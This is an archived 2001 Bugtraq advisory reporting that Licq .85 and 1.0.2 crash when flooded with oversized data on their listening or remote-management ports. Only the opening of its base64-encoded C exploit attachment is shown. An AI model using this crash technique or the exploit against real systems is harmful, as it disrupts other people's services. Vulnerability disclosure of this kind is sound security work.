|
Date: Tue, 20 Feb 2001 16:19:36 -0500 From: "Stanley G. Bubrouski" <stan@CCS.NEU.EDU> To: BUGTRAQ@SECURITYFOCUS.COM Subject: Advisory: Licq DoS +exploit This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---559023410-851401618-982703976=:20187 Content-Type: TEXT/PLAIN; charset=US-ASCII Author: Stan Bubrouski (stan@ccs.neu.edu) Date: February 20, 2001 Package: Licq Versions affected: v.85 and v1.0.2 and possibly previous or newer versions. Severity: Remote user's can cause Licq to crash or lock up completely. Problems: While testing Licq back in December it became apparent to me that Licq could be made to crash consistently if a certain amount of data is sent to a port it is listening on. Further testing showed that sending a certain amount of data to the port the Remote Management Service (RMS) plugin listens on it too would cause Licq to crash or lock up. The amount of data needed to be sent to crash Licq may vary from system to system. On the Red Hat linux 7.0 system I used 16707 or more bytes sent to the port Licq was listening on was enough to crash it. Sending around 12000 or more characters to the RMS plugin port was enough to crash Licq on my system as well. I've attached a simple exploit to demonstrate the DoS. I haven't tested any versions newer than 1.0.2 but they should be assumed vulnerable as well. Copyright 2001 Stan Bubrouski -- Stan Bubrouski stan@ccs.neu.edu 316 Huntington Ave. Apt #676, Boston, MA 02115 (617) 377-7222 ---559023410-851401618-982703976=:20187 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="licqkill.c" Content-Transfer-Encoding: BASE64 Content-ID: <Pine.GSO.4.21.0102201619360.20187@denali.ccs.neu.edu> Content-Description: Content-Disposition: attachment; filename="licqkill.c" LyoNCiAqIE5hbWU6IExpY3FraWxsLmMNCiAqIEF1dGhvcjogU3RhbiBCdWJy b3Vza2kgPHN0YW5AY2NzLm5ldS5lZHU+DQogKiBEYXRlOiBEZWNlbWJlciAy NiwgMjAwMA0KICogRGVzY3JpcHRpb246IExpY3Egd2lsbCBjcmFzaCB3aGVu IDE2NzA3IG9yIG1vcmUgY2hhcmFjdGVycyBhcmUgc2VudCB0byB0aGUgcG9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